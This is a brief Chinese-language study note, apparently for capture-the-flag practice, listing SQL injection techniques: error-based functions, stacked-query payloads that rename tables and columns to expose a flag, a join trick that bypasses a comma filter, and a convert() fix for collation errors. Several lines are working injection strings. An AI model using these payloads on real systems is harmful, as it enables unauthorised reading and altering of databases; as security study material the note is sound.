Web_Sql_奇葩注入方式及问题

报错注入

extractvalue()
updatexml()
exp()
floor()

二次注入

（待补充）

堆叠注入

（禁用select|update|delete|drop|insert|where）多个语句同时执行

如：
1';show databases;
将words表名改为words1，1919810931114514表名改为words，将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
之后利用 1' or '1'='1 爆出flag

问题

逗号被过滤

如：
select 1,2 回显select 1
可通过 select * from (select 1)a join (select 2)b
进行绕过

数据库本身编码问题

报错：
Illegal mix of collations for operation 'UNION’
可以用convert()进行编码转换
如：group_concat(convert(TABLE_NAME using gbk))